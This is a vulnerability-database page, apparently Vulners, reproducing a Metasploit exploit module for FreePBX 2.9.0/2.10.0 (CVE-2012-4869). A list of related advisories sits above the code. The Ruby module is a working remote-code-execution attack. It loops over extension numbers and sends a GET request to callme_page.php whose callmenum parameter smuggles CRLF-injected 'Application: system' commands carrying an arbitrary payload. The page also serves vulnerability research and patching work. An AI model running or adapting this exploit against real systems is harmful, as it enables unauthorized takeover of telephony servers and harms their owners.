Lucene search
K

FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution

🗓️ 23 Mar 2012 21:23:36Reported by muts, Martin TschirsichType 
metasploit
 metasploit
🔗 www.rapid7.com👁 60 Views

FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2012-4869
6 Sep 201200:00
attackerkb
Circl
CVE-2012-4869
22 Mar 201200:00
circl
Check Point Advisories
FreePBX callmenum Remote Code Execution (CVE-2012-4869)
27 Nov 201600:00
checkpoint_advisories
CVE
CVE-2012-4869
6 Sep 201217:00
cve
Cvelist
CVE-2012-4869
6 Sep 201217:00
cvelist
NVD
CVE-2012-4869
6 Sep 201217:55
nvd
OpenVAS
FreePBX 2.9.0 - 2.10.0 Multiple Vulnerabilities - Active Check
27 Mar 201200:00
openvas
OpenVAS
FreePBX Multiple Cross Site Scripting and Remote Command Execution Vulnerabilities
27 Mar 201200:00
openvas
Prion
Deserialization of untrusted data
6 Sep 201217:55
prion
Positive Technologies
PT-2012-5621 · Sangoma · Freepbx
6 Sep 201200:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
      'Description'    => %q{
        This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
        Due to the way callme_page.php handles the 'callmenum' parameter, it
        is possible to inject code to the '$channel' variable in function
        callme_startcall in order to gain remote code execution.

        Please note in order to use this module properly, you must know the
        extension number, which can be enumerated or bruteforced, or you may
        try some of the default extensions such as 0 or 200.  Also, the call
        has to be answered (or go to voice).

        Tested on both Elastix and FreePBX ISO image installs.
      },
      'Author'         => [ 'muts','Martin Tschirsich' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-4869' ],
          [ 'OSVDB', '80544' ],
          [ 'EDB', '18649' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-03-20'))

    register_options(
      [
        OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
      ])
  end

  def exploit
    # Check range input
    if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
      min = $1.to_i
      max = $2.to_i
    else
      print_error("Please specify a range for option 'EXTENSION'")
      return
    end

    cmd = Rex::Text.uri_encode(payload.encoded)

    (min..max).each do |e|
      connect
      print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
      res = send_request_raw({
        'method' => 'GET',
        'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
        'version' => '1.0',
        'vhost'   => rhost
      })
      handler
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation